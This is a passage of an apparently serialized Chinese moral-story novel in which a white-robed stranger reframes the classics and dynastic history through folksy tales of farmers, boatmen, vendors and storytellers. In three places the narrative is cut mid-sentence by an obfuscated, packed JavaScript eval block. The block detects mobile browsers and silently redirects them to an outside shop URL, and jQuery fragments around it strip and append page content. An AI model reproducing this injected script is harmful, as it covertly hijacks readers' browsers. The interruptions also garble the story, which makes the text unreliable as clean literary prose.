“东河有船夫姓江,不识字。行船时,遇急流则呼:‘哎唷——力拔山兮!’遇平波则唱:‘呀嗬——水如镜兮!’遇顺风则歌:‘噢嘿——风送帆兮!’有文人闻之,惊曰:‘此合《诗经》赋比兴之法,老哥可读过《诗》?’船夫笑曰:‘老汉不识字,但知行船辛苦,呼号解乏。急流时用力,故呼力拔山;平波时闲适,故唱水如镜;顺风时快意,故歌风送帆。此乃心声,与那《诗经》何干?’文人叹服。” 他看向几个船夫模样的听者:“船夫号子,合《诗》心而不讽《诗》。道在自然,何必必求雅颂?” 五、 匠人造器的故事 “最后说匠人造器。”那人行至一个卖《考工记》的摊前。 “城中有铁匠姓雷,不读书。打铁时,观火候,听锤音。火青时下料,锤脆时淬火。所制镰刀,割麦如风;所制犁头,破土如浪。有学者问:‘雷师傅可读过《考工记》?《考工记》载‘凡铸金之状,金与锡黑浊之气竭,黄白次之’,正是观火之法。’雷匠笑曰:‘小人不识字,但知打铁。火青时下料,锤脆时淬火,此乃手艺,与那《考工记》何干?’学者赧然。后雷匠技艺传子,百年不衰。” 他看向郑玄同:“郑先生,道在天地,在人情,在手艺,在生计。老农观天而知农时,乡老断事而明公道,邻里和睦而成仁里,船夫呼号而抒心声,匠人造器而精工艺——此皆暗合圣学,何必必读古本?若只重竹帛,不重实道,是以文害道,非是求学。” 六、 腊八的余温 五个故事讲完,经市上一片寂静。腊月的寒风穿过书摊,吹得书页哗哗作响。 郑玄同沉默良久,缓缓起身,对那人深揖一礼:“先生……先生说得是。老朽胶柱古本,以物蔽心,误入歧途。这圣学之道,道在天地人心,非在竹帛古简。” 他转身,将手中两卷竹简轻轻放在案上,对众人道:“这两卷《连山》《归藏》,或是真,或是伪,已不重要。重要的是——”他指向街市,“老农观天,乡老断事,邻里和睦,船夫呼号,匠人造器,此中皆有道。道在日用,何必远求?” 他深吸一口气:“从今往后,我郑家藏书楼,开门纳众。农人可来问天时,乡老可来询公道,船夫可来听故事,匠人可来谈手艺。圣人之学,不在竹帛,而在天地人情之中!” 众人先是愕然,随即响起一片赞叹。钱百万挠头道:“那我……我还买不买《连山》了?” 赵掌柜拍他肩膀:“买那作甚?听听老农观天,不好么?” 那几个老学究相视苦笑。其中一人叹道:“皓首穷经数十年,不如听这五个故事。” 那人拱手道:“今日腊八,粥暖岁寒,愿列位明道之所在。道在天地,在四时;在人情,在日用;在手艺,在生计。圣人之学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190858|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,载道之文,然道先于文,文明道晦。莫重竹帛而轻天地,莫求古本而忘人情。” 说罢,他戴上斗笠,转身走入人群。松枝斗笠在冬日下泛着青晖,粗麻白衣的下摆扫过经市石阶,不惹尘埃。 郑玄同对着那背影又一揖,久久不起。 街上众人亦纷纷行礼。 腊月的阳光洒在经市上。卖《易》的摊主收起古本,与老农聊起天时;卖《书》的先生卷起竹简,听乡老讲断事故事;卖《礼》的学子合上经书,看邻里互助;卖《诗》的文人收起抄本,听船夫呼号;卖《考工记》的书商放下刻本,与匠人论手艺。 圣人之道,本在日用。何须远求? 尾声·三易新谣 次年腊八,金陵城流传开一首新谣: 有连山,有归藏。有周易,道在常。 典谟训诰誓命文,书之奥义在人情。 周公作礼存治体,大小戴注礼乐备。 国风雅颂号四诗,当咏心声非讽经。 郑师胶柱求古本,不重天地日用情。 白衣先生讲故事,圣学本在寻常中。 从此金陵知道在,天地人情皆是经。 有人问那白衣先生姓名,经市的老人会说:“那位先生姓道,名常,字行之。他教咱们,道在平常,在日用,在人情,在生计。圣人之学,是载道之舟,然道在舟外,不在舟中。” 郑家藏书楼后来变了——楼下设“观天处”,老农来说天时;设“断事处”,乡老来讲公道;设“和睦处”,邻里来说故事;设“呼号处”,船夫来唱号子;设“造器处”,匠人来谈手艺。楼上藏书,任人翻阅,然郑玄同常对来客说:“楼下之道,胜楼上之书。” 而那位道行之先生,早已走向下一个需要点化的地方。他走过之处,胶柱渐消,大道渐显。就如这腊八的暖粥,温过经市,温过金陵,温进千家万户,将那些过于沉重的古本,轻轻化在寻常日子里。 本章诫世 一、 圣学真义训 - 有连山,有归藏。有周易,三易详。有典谟,有训诰。有誓命,书之奥。我周公,作周礼。著六官,存治体。大小戴,注礼记。述圣言,礼乐备。曰国风,曰雅颂。号四诗,当讽咏 - 破解法:求学者,自问“求学为明道,还是为藏书?道在竹帛,还是在天地人情?可重古本而轻日用?可求文字而忘实道?” 二、 五合五离 - 老农合《易》而离《易》——观天知时,暗合《易》理,而不读《易》 - 乡老合《书》而离《书》——断事明理,暗合《书》义,而不解《书》 - 邻里合《礼》而离《礼》——和睦相恤,暗合《礼》意,而不通《礼》 - 船夫合《诗》而离《诗》——呼号抒怀,暗合《诗》心,而不讽《诗》 - 匠人合《工》而离《工》——造器精艺,暗合《工》法,而不读《工》 - 五明:道在天地四时,在人情日用,在手艺生计,在平常,在自然。圣人之学,是载道之舟,然道在舟外。莫求舟而忘岸,莫重文而轻道 三、 常之大道 - 深层隐喻:圣人之学,是道之迹,非道之体。《易》是阴阳变化之迹,道在天地四时;《书》是先王言行之迹,道在人情事理;《礼》是人伦秩序之迹,道在和睦相亲;《诗》是情志抒发之迹,道在心声自然;《工》是造物之法之迹,道在技艺运用。若只重竹帛古本,不重天地人情,是以迹为体,以文害道 - 终极指向:世人重圣学,易入歧途:重典籍而轻实道,重古本而轻日用。圣学是舟,道是彼岸。舟为渡人,非为人居。道在天地四时,在人情日用,在手艺生计,在平常自然。莫求舟而忘岸,莫重迹而轻道 圣学偈: 金陵腊八说圣学,郑师胶柱求古本。 连山归藏周易详,典谟训诰誓命奥。 道常先生讲故事,圣学本在日用中。 老农观天乡老断,邻里船夫匠人功。 后世叹: 有连山,有归藏。有周易,道在常。 郑师重书轻天地,皓首穷经忘日用。 白衣点化道在常,圣学本在人情中。 腊八经市听故事,金陵道脉得真传。 正是: 腊八经市说圣学,郑师重书轻日用。 连山归藏求古本,不重天地人情功。 白衣先生讲故事,道在平常自然中。 从此金陵知圣学,天地人情皆是经。 114.传子谳 楔子·冬至说书 腊月冬至,燕京“天桥”书场上,说书先生柳敬亭正拍醒木,说得唾沫横飞: “……列位看官,今日说《春秋三传》!何为三传?《公羊传》《左氏传》《谷梁传》也!《公羊》重义理,《左氏》详史实,《谷梁》主训诂,三家各有千秋!要读史,先通经;经既明,方读子。子书浩繁,撮其要,记其事。五子者,荀子、扬子、文中子、老子、庄子也!经子皆通,乃读诸史,考世系,知终始——此乃读书正途,万不可乱!” 台下听众多是市井闲汉,也有几个挟着书卷的书生。卖糖葫芦的冯瘸子拄着拐杖,嘀咕道:“柳先生说得倒是热闹,可咱们这些睁眼瞎,哪懂什么三传五子?” 旁座卖烤白薯的周大娘笑道:“听听故事就得了,管他什么传!” 柳敬亭听见,将醒木一拍:“哎!这话差了!读书明理,人人可学。就说前街卖豆腐的老王,每晚收摊,都让我给他念一段《左氏传》——如今说话,也文绉绉的!” 正说着,书场角落传来一个温和声音:“柳先生,今日冬至,天寒地冻,不妨说个暖和故事。” 众人望去,见一人坐在条凳上。斗笠是苇秆与枯草混编,檐边缀着几粒白米。白衣是粗棉所制,洗得发白,袖口磨出毛边。木剑倚在墙边,剑穗是褪色的五色丝绦打着吉祥结。面上蒙着本色棉纱,只露出一双明澈如深潭的眼睛。 柳敬亭拱手笑道:“这位客官想听什么故事?” 那人从怀中摸出三枚铜钱,放在面前条凳上:“就讲三个铜钱的故事——一枚说《传》,一枚说《子》,一枚说《史》。” 一、 铜钱一:说《传》 “先说这《传》。”那人拈起一枚铜钱,铜钱在指尖翻转。 “城西有个茶博士,姓左,人都唤他左三壶。他有个绝活:但凡客人说个事儿,他都能用三句话点明要害。一日,绸缎庄钱掌柜和米铺孙掌柜在茶馆争吵。钱掌柜说:‘上月我借你十两银子,有借据为凭!’孙掌柜说:‘你已用三匹绸抵了债,有伙计为证!’二人各执一词,眼看要动手。 “左三壶提壶过去,给二人续茶,说了三句话:‘借钱是实,有据为凭;抵债是实,有人为证;争执是虚,伤和气为实。’二人一愣。左三壶又道:‘钱掌柜,孙掌柜上月可曾帮你打通官府关节,省了二十两税银?孙掌柜,钱掌柜今春可曾赊你三十石米,救你急难?’ “二人默然。左三壶斟茶:‘既有旧情,何必算新账。十两银子,各让五两,如何?’二人对视,举茶一笑。此事传开,人称左三壶是‘活公羊’——三句话断事明理。” 那人将铜钱一弹,铜钱落在条凳上,滴溜溜打转。 “后来有个落第秀才,听了这事,抚掌道:‘此正合《公羊传》义理之法!《公羊》重微言大义,左三壶三句话点明要害,正是微言大义!’又有个老学究摇头:‘不然,此合《左氏传》叙事之详。左三壶详问旧情,正是《左氏》笔法!’还有个塾师笑道:‘此合《谷梁传》训诂之精。左三壶斟茶释怨,正是训诂本义!’ “三人争到左三壶面前。左三壶正在煮茶,听罢笑道:‘三位先生,小人只是就事论事,哪懂什么三传?依小人看,事有理,人知情,茶一斟,怨自解——这便是小人的《传》。’” 铜钱停转,平躺凳上。 柳敬亭听得入神,醒木忘了拍。场中一片寂静,只听见炉火上水壶嘶嘶作响。 二、 铜钱二:说《子》 “再说这《子》。”那人拈起第二枚铜钱。 “城南有个捏面人的老荀,手巧,能捏诸子百家。他摊前总摆五个面人:一个拱手作揖的儒生,是荀子;一个闭目养神的老者,是老子;一个枕臂酣睡的闲汉,是庄子;一个执笔书写的文士,是扬子;还有一个负手望天的学士,是文中子。 “一日,五个书生来逛集市。第一个书生买下荀子面人,说:‘荀子言性恶,重礼法,正是治世良方!’第二个书生买下老子面人,说:‘老子言无为,法自然,才是大道!’第三个书生买下庄子面人,说:‘庄子齐物我,逍遥游,方是真谛!’第四个书生买下扬子面人,说:‘扬子言修身,贵真实,才是根本!’第五个书生买下文中子面人,说:‘文中子续儒脉,明王道,方是正统!’ “五人各执己见,在摊前争起来。老荀笑呵呵听着,手上不停,又捏了五个面人:一个耕田的农夫,一个打铁的铁匠,一个织布的妇人,一个撑船的船夫,一个卖货的商贩。 “五个书生愣了。老荀说:‘五位先生,荀子面人十文,老子面人十文,庄子面人十文,扬子面人十文,文中子面人十文。这耕田的、打铁的、织布的、撑船的、卖货的——各五文。诸位要哪个?’ “书生们面面相觑。老荀将新捏的五个面人推向前:‘依老汉看,诸子百家,说到底是说给人听的。耕田的要节气,打铁的要火候,织布的要经纬,撑船的要水性,卖货的要行情——这些话,荀子说过,老子说过,庄子说过,扬子说过,文中子也说过。何必争谁是谁非?’ “他指指面人摊:‘老汉捏面人,有人爱荀子,有人爱老子,有人爱庄子——各取所需便是。难不成买了荀子,就不能买老子?买了老子,就不能捏个耕田的?’ “五个书生怔了半晌,各自掏钱,把诸子面人和农工匠贩面人都买走了。后来老荀摊上,诸子面人旁,总摆着农工匠贩面人。人说:‘老荀的摊子,诸子百家,百姓百家,都在了。’” 第二枚铜钱飞起,稳稳落在第一枚旁。 三、 铜钱三:说《史》 “最后说这《史》。”那人拈起第三枚铜钱。 “城北有个说史先生,姓司马,双目失明,心却亮堂。他说史有个规矩:不说帝王将相,只说市井小民。人说:‘史书不都记帝王将相么?’司马先生笑道:‘帝王将相是史,市井小民也是史。’ “他每日在天桥摆摊,说‘燕京市井史’。今日说:‘三十年前,东街卖豆汁的李瘸子,每日五更起床磨豆,二十年风雨无阻,养大三个儿子,皆成家立业——此谓勤。’明日说:‘二十年前,西巷接生婆蔡姥姥,接生三百婴儿,从未失手,人称“送子姥姥”——此谓专。’后日说:‘十年前,南城更夫老赵,打更三十年,每夜“天干物燥,小心火烛”,南城三十年无大火——此谓责。’ “有书生嗤笑:‘这算哪门子史?无世系,无终始,无兴替。’司马先生道:‘怎无世系?李瘸子传子,蔡姥姥传徒,老赵传侄——这不是世系?怎无终始?李瘸子从担挑到开店,蔡姥姥从少女到老妪,老赵从壮年到白头——这不是终始?怎无兴替?豆汁铺子从一间到三间,接生手艺从一人传众人,打更梆子从一人传到全城更夫——这不是兴替?’ “他顿了顿,又说:‘史者,事也。帝王将相有事,市井小民也有事。读史者,考世系,知终始——考的不该只是帝王世系,也该有百姓世系;知的不该只是朝代终始,也该有人生终始。’ “后来司马先生老了,说不出话了。有个听过他说的卖菜老汉,接了他的摊子,继续说‘燕京市井史’。如今传到第三代,说史的是个卖糖人的小贩。三枚铜钱听一段,说的还是市井小民的事。” 第三枚铜钱轻轻落下,与另两枚排成一列。 四、 冬至的暖意 三枚铜钱静静躺在条凳上。书场里炉火正旺,水壶噗噗冒着白气。 柳敬亭怔了半晌,忽然将醒木一收,对那人深揖一礼:“先生这三个故事,比我说一辈子书都值。” 那人起身,将三枚铜钱推给柳敬亭:“柳先生,这钱该你收着。” 柳敬亭却摆手:“该我给先生茶钱才是!”他从怀里摸出一把铜钱,就要塞过去。 那人笑道:“我讲故事,你出地方,两不相欠。”说着已将铜钱放入柳敬亭手中,戴上斗笠,转身向外走去。 “先生留步!”冯瘸子拄着拐杖站起来,从草把上拔下一串糖葫芦,“天冷,先生带着甜嘴!” 周大娘也包了两个热腾腾的烤白薯:“先生暖暖手!” 几个书生互相推搡,最后有个青衫书生鼓起勇气上前,躬身道:“学生愚钝,敢问先生……读经读子读史,究竟该从何入手?” 那人驻足,回头看他一眼。棉纱下的眼睛似乎笑了笑。 “从眼前入手。”他指了指冯瘸子的糖葫芦,“这是《传》——山楂是实,糖衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195525|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是文,竹签是骨,三样俱全,便是好《传》。”又指周大娘的烤白薯,“这是《子》——白薯是道,火候是法,香气是用,三昧俱足,便是好《子》。”再指书场里听书的众人,“这是《史》——老幼是世系,寒暑是终始,聚散是兴替,三事皆备,便是好《史》。” 说完,他推开门帘。腊月的风卷着雪沫扑进来,他的白衣在风中一振,人已没入街市熙攘之中。 柳敬亭握着那三枚铜钱,在掌心摩挲良久,忽然对场中众人道:“列位,明日起,咱不说《三传五子》了。” “那说什么?”有人问。 “说‘三铜钱’。”柳敬亭将铜钱往案上一拍,“一枚说街坊事,一枚说手艺事,一枚说家常事。三枚铜钱一段书,管他什么传、什么子、什么史——事儿真,理儿正,便是好书!” 尾声·燕京新话 那年冬至后,燕京天桥书场多了个新规矩:说书先生开场前,先在案上摆三枚铜钱。一枚代《传》,说眼前事理;一枚代《子》,说百家智慧;一枚代《史》,说市井春秋。 后来有人仿着编了段《三铜钱谣》: 三传者,有公羊。有左氏,有谷梁——不如茶馆左三壶,三句话儿断分明。 五子者,有荀扬。文中子,及老庄——不如面人老荀摊,诸子百姓皆团圆。 经子通,读诸史。考世系,知终始——不如说史司马公,市井小民亦是史。 三铜钱,三个事。传子史,在眼前。 而那位用三枚铜钱讲了三件事的白衣人,早已消失在燕京的街巷中。有人说他往张家口去了,有人说他往天津卫去了,也有人说他根本就没离开过天桥——因为从那以后,每个说书先生在开讲前,都会往台下角落里望一眼,仿佛那里永远坐着个戴斗笠、蒙棉纱的白衣人,在静静听着这人间的《传》《子》《史》。 本章诫世 一、 读书真义训 - 三传者,有公羊。有左氏,有谷梁。经既明,方读子。撮其要,记其事。五子者,有荀扬。文中子,及老庄。经子通,读诸史。考世系,知终始 - 破解法:读书人,自问“读书为何?为明理,还是为背书?理在竹帛,还是在眼前?可重经传而轻事理?可求诸子而忘百姓?可考世系而略人生?” 二、 三铜钱三事 - 铜钱一(传):左三壶断事,重实理,轻经传。理在事中,不在传中 - 铜钱二(子):老荀捏人,重百姓,轻诸子。道在日用,不在子中 - 铜钱三(史):司马说史,重小民,轻帝王。史在人生,不在朝堂 - 三明:传在事理,子在日用,史在人生。读书者,当从眼前事读起,从百姓中读起,从人生中读起。莫求高远而忘眼前,莫重经子而轻市井 三、 眼前大道 - 深层隐喻:经传子史,是前人智慧,然智慧之源在生活。左三壶的茶,老荀的面人,司马的市井史——此即是传,即是子,即是史。传是事理之传,子是智慧之子,史是人生之史。若只读竹帛,不读生活,是以流为源,以末为本 - 终极指向:世人重读书,易入歧途:重书本而轻生活,重古人而轻今人,重庙堂而轻市井。书是舟,生活是海;传是迹,事理是实;子是言,智慧是心;史是记,人生是真。莫在舟中求海,莫从迹中求实,莫于言中求心,莫从记中求真 三铜钱偈: 冬至燕京说书场,三传五子诸史详。 柳师说书重经典,不重市井眼前事。 白衣三枚铜钱响,三个故事说传子史。 左三壶茶明事理,老荀面人捏百家,司马说史在小民。 后世叹: 三传者,在茶馆。五子者,在面摊。 诸史者,在市井。经子史,在眼前。 柳师重书轻生活,白衣铜钱点真谛。 从此燕京说书人,三枚铜钱说人间。 正是: 冬至天桥说书场,三传五子诸史详。 柳师重经轻眼前,不重市井百姓事。 白衣铜钱三个事,传在茶端子在捏史在巷。 从此燕京有真书,三枚铜钱说人间。 115.世系谳 楔子·闽江渔火 八月十五中秋夜,福州闽江边,渔火点点如星。江畔“三皇滩”上,一群孩童正围着个说书先生,听他讲“三皇五帝”。 说书先生姓古,人称“古爷爷”,白须垂胸,手执蒲扇,坐在一块大青石上: “……自羲农,至黄帝,号三皇,居上世!伏羲画卦,神农尝草,黄帝制衣冠——此三皇,是我华夏之祖!唐有虞,号二帝,相揖逊,称盛世——尧禅让于舜,舜禅让于禹,那是上古圣世!夏有禹,商有汤,周文武,称三王。夏传子,家天下,四百载,迁夏社……汤伐夏,国号商,六百载,至纣亡……” 孩子们听得入神。有个叫阿鲤的男孩,约莫八九岁,睁大眼睛问:“古爷爷,纣王真的那么坏么?” 古爷爷摇扇:“书上说的,那还有假?酒池肉林,炮烙之刑,坏透了!” 阿鲤还要问,旁边一个清脆童声响起:“老爷爷,您说得不对。” 众人望去,见是个戴斗笠的白衣人,不知何时坐在了孩子们中间。斗笠是细竹与蕉叶混编,檐边缀着几颗小海螺。白衣是苎麻所制,洗得泛白,衣角沾着些泥点。木剑横放膝上,剑穗是褪色的五色丝绦打成渔网结。面上蒙着本色棉纱,只露出一双明澈如江月的眼睛。 古爷爷不悦:“哪里不对?” 白衣人从怀里掏出个油纸包,打开是几块月饼。他分给孩子们,自己也拿起一块,边吃边说:“我说个不一样的故事,你们听不听?” 孩子们齐声道:“听!” 一、 三皇的故事 白衣人咬了口月饼,慢悠悠道:“很久很久以前,还没有‘皇’这个字。江边有个部落,首领叫羲,最会看天象。他看到鸟兽脚印,就教人结网捕鱼;看到雷电烧林,就教人用火烤肉。族人说:‘羲真聪明!’” “山里有个部落,首领叫农,最会认草木。他尝百草,哪些能吃,哪些能治病,都记下来。有次尝到毒草,肠子都青了,还坚持尝。族人说:‘农真仁德!’” “平原有个部落,首领叫黄,最会做东西。他看蜘蛛结网,就教人织布;看鸟儿做窝,就教人造屋。族人说:‘黄真能干!’” “三个部落常来往。羲教农看天时播种,农教黄认草药治伤,黄教羲做衣裳御寒。后来三个部落合在一起,推羲管天时,农管医药,黄管工匠。族人说:‘咱们有三个能人!’” “再后来,人们把这三位能人合称‘三皇’。其实啊,”白衣人眨眨眼,“‘三皇’不是三个皇帝,是三个有本事的头领。就像你们村里,会打鱼的老陈,会种菜的老林,会修船的老黄——三人合起来,村子就好了。” 阿鲤恍然大悟:“就像我爹会打鱼,我娘会补网,我奶奶会腌鱼——合起来,我们家就有鱼吃!” 孩子们都笑了。 二、 尧舜禹的故事 “再说唐尧虞舜。”白衣人又拿起一块月饼。 “唐是个大部落,首领叫尧。尧老了,要找接班人。他儿子丹朱喜欢玩,不管事。尧说:‘不行,得找个能干的。’” “有人推荐舜。舜的爹糊涂,后娘坏,弟弟傲,可舜对他们很好。尧就把两个女儿嫁给舜,观察他。发现舜真的仁厚,就让位给他。这叫‘禅让’——不是磕头让位,是‘你行,你来管’。” “舜老了,也找接班人。他儿子商均能力平平。那时发大水,有个叫禹的人,带着大家治水,三过家门不入。舜说:‘禹行,让禹来管。’” “禹治了水,又教大家挖沟排水,开荒种田。后来禹老了,本来要让位给一个叫益的人,可大家说:‘启(禹的儿子)也挺能干,还懂水利。’就让启接了位。这就成了‘传子’。” 白衣人对孩子们说:“你们玩‘当大王’游戏,是不是谁本事大,就让谁当?尧舜禹那时候,也是这样。后来慢慢变成‘我儿子接我位’,就像阿鲤爹打鱼,将来阿鲤接他船一样,也没什么不对——只要阿鲤会打鱼。” 阿鲤挺起胸:“我会!我五岁就会撒网了!” 三、 夏商周的故事 “夏传到桀,桀喜欢玩,不管事。就像村里管事的,天天喝酒,不修水渠,田都旱了。这时商部落有个叫汤的,能干,大家就跟他走。汤说:‘不是我要造反,是桀不管事,大家活不下去。’” “商传到纣,纣聪明,但傲慢。就像学堂里最聪明的学生,看不起别人,还欺负人。周部落的姬发说:‘纣欺负人,咱们不跟他玩了。’就联合其他部落,把纣赶下台。” “周朝最长,八百年。为什么长?”白衣人剥了块柚子分给孩子们,“因为他们定了个规矩:老大(天子)管大事,老二老三(诸侯)管地方。就像咱们这条江,江总有总船老管,各码头有码头老大,各船有船老大,一层管一层,不乱。” “后来周老大不管事,老二老三们就打架抢地盘。这就到了春秋战国。” 四、 春秋到五代的故事 “春秋时,有五个最能打的码头老大,叫‘五霸’。他们打架,还要说:‘我是为了大家好!’” “战国时,剩下七个老大,打得更凶。这时有读书人到处跑,给老大出主意,叫‘游说’。就像有人到船老大家说:‘给我钱,我教你怎么打赢。’” “后来秦部落赢了,把所有码头都占了,成了‘秦始皇’。他想:‘以前是打架抢,现在我一个人全管。’可管得太严,大家不高兴。传到二世,大家就反了。” “楚霸王和刘邦争,刘邦赢了,建汉朝。汉朝中间被王莽占了一阵,又由刘秀抢回来,分东汉西汉。传到汉献帝,又乱了。” “魏蜀吴三个老大争,三国演义就是讲这个。后来司马家赢了,建晋朝。晋朝乱,分成南朝北朝,就像江这边一伙,江那边一伙,互相骂。” “隋朝统一,但短命。唐朝来了,李世民能干,唐朝三百年。后来朱温灭唐,进入五代——五个短命朝代,像走马灯。” 白衣人说到这儿,拍拍手:“就像你们玩‘跳房子’,一格一格跳。三皇五帝是一格,夏商周是一格,春秋战国是一格,秦汉三国两晋南北朝是一格,隋唐五代是一格——历史就是个大跳房子。” 孩子们咯咯笑,有个女孩说:“我跳房子可厉害了!” 五、 宋元明清的故事 “宋朝是赵匡胤建的。他原是个将军,大家给他黄袍,让他当老大。宋朝有钱,但老被打。后来分成南宋北宋,就像一条船,前舱后舱分开管。” “辽、金是北边部落,也说:‘我们能当老大!’和宋打架。最后蒙古人来了,全占了,建元朝。元朝地盘大,但管不好,九十年就没了。” “朱元璋放牛娃出身,打败元朝,建明朝。明朝迁都北京,传十六个皇帝。后来管事的太监坏,老百姓造反,李自成打进北京,明朝亡了。” “清朝是满洲人建的,康雍乾时不错。后来外国人来了,打架,清朝打不过。传到宣统,没了。” “再后来,不要皇帝了,建了民国。” 白衣人说到这儿,看着孩子们:“从三皇到民国,就像一条很长很长的江。有宽的时候,有窄的时候;有清的时候,有浑的时候;有顺流的时候,有打漩的时候。但江一直在流。” 六、 渔火问答 故事讲完,江上渔火更密了。月饼已分完,柚子还剩几瓣。 古爷爷一直沉默听着,这时才开口,声音有点哑:“先生说的……和书上不太一样。” “书上记的是大事,”白衣人说,“我讲的是小事。大事是江,小事是水。没有水,哪有江?” 阿鲤问:“那……纣王真的很坏么?” “也许坏,也许不坏,”白衣人摸摸他的头,“书上记的,是写书人看到的。就像你看到二狗抢大妞的糖,你说二狗坏。可也许二狗的糖昨天被大妞偷了呢?” 另一个孩子问:“皇帝都是坏的么?” “有好有坏,就像你们村里,”白衣人说,“陈村长给大家修路,是好村长;李保长贪大家的鱼,是坏保长。皇帝就是大村长,大保长。” “那……不要皇帝行么?” “行啊,”白衣人笑,“就像你们玩‘过家家’,今天你当爹,明天我当爹。只要大家过得舒服,谁当都行。” 古爷爷忽然站起来,对白衣人深揖一礼:“老朽说了一辈子书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195526|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今日才明白——历史不是庙堂上的事,是江里的事,是村里的事,是人的事。” 白衣人还礼:“老丈客气。历史是条江,咱们都是水。水记得江的事,江也记得水的事。” 他起身,拍拍衣摆,对孩子们说:“好了,故事讲完,我也该走了。” 阿鲤拉住他衣角:“你明天还来么?” 白衣人弯腰,从怀里掏出个小竹哨,递给阿鲤:“想听故事时,吹这个。故事在风里,风会带来。” 尾声·江风竹哨 那天夜里,阿鲤在江边吹响竹哨。江风习习,带来远处渔歌,带来更夫梆子,带来邻家絮语,也带来古老的故事——那些三皇渔网的故事,尧舜让贤的故事,大禹治水的故事,秦汉明月的故事,唐宋渔火的故事…… 古爷爷不再说“三皇五帝”了,他开始说“三皇滩故事”——说伏羲怎么教这里人看潮汐,神农怎么教这里人认海药,黄帝怎么教这里人造舟。他说,咱们闽人,是三皇的子孙,是水的子孙。 后来阿鲤长大了,成了船老大。他总在八月十五,在江边给孩子们讲故事。故事开头总是: “很久很久以前,还没有‘皇’这个字。江边有个部落……” 而那个戴斗笠的白衣人,再也没有出现过。但渔夫们说,月夜行船时,偶尔会看到江心有个白影,戴着斗笠,静静立在浪尖上。风吹过,带来隐约的歌声: 自羲农,至黄帝,不是三皇是三人。 唐有虞,号二帝,你让我来我让你。 夏商周,春秋战,就像小孩争糖块。 秦汉三国到明清,不过江水流不停。 历史不是庙堂事,是你是我是渔火。 吹声竹哨风带来,故事在江也在心。 本章诫世 一、 历史真义训 - 自羲农,至黄帝。号三皇,居上世……革命兴,废帝制,立宪法,建民国 - 破解法:看历史,自问“历史是谁的历史?是庙堂的,还是江边的?是皇帝的,还是渔夫的?可只见江水,不见水滴?可只说朝代,不说人事?” 二、 五事五喻 - 三皇喻能人——如村里会打鱼、会种菜、会修船者 - 尧舜禹喻让贤——如小孩游戏“谁行谁当” - 夏商周喻管事——如船老大管船,管好则久,管坏则换 - 春秋到五代喻争地——如码头老大打架抢地盘 - 宋到民国喻流变——如江水有宽窄清浊,但长流不息 - 五明:历史是人史,非朝史;是民事,非宫事;是活事,非死事。三皇是能人,尧舜是让贤,桀纣是失管,秦皇汉武是大管事的,唐宋元明清是不同管法 三、 江流大道 - 深层隐喻:历史是条江,朝代是江道,百姓是江水。江道有曲直,江水长流;朝代有兴替,百姓常在。书史者,常记江道,不记江水;常记曲直,不记长流。然无水不成江,无民不成史 - 终极指向:世人看历史,易入歧途:重庙堂而轻江湖,重帝王而轻百姓,重朝代而轻人事。历史是江,你我皆是水。水流成江,江载水流。莫见江不见水,莫说朝不道人 三皇滩偈: 闽江中秋渔火明,古爷爷说三皇事。 羲农黄帝到民国,一部朝代兴替史。 白衣人讲江海事,三皇只是三能人。 尧舜让贤如游戏,夏商周朝如管船。 历史不是庙堂事,是江是水是渔歌。 后世叹: 自羲农,至黄帝,不是三皇是三人。 唐有虞,号二帝,你让我来我让你。 夏传子,到民国,不过江水流不息。 古爷爷说朝换代,白衣人讲百姓事。 从此三皇滩上客,听史先听江海声。 正是: 闽江中秋月正明,古翁说史三皇起。 羲农黄帝到民国,二十四朝兴替事。 白衣江畔说故事,三皇只是三渔夫。 尧舜让位如让船,夏商周管如管舟。 从此听史先听水,江水长流是真人。 116.史鉴谳 楔子·龙舟说史 五月初五端午,泉州晋江边,龙舟竞渡,锣鼓震天。江畔“观澜亭”前,老儒施先生正摆着桌案,给一群蒙童讲史。 “……古今史,全在兹!载治乱,知兴衰!史虽繁,读有次——史记一,汉书二,后汉三,国志四。兼证经,参通鉴。读史者,考实录,通古今,若亲目。口而诵,心而惟,朝于斯,夕于斯。此乃读史正法,万不可乱!” 孩子们捧着《史记》《汉书》,愁眉苦脸。有个叫阿海的男孩嘀咕:“施先生,龙舟要开始了……” 施先生戒尺一敲:“史者,国之镜也!不读史,何以明兴衰?今日先讲《史记·屈原贾生列传》,再讲《汉书·百官公卿表》……” 正说着,江边传来一声清亮吆喝:“卖糖粽子喽——甜粽咸粽豆沙粽,吃了聪明赛包公!” 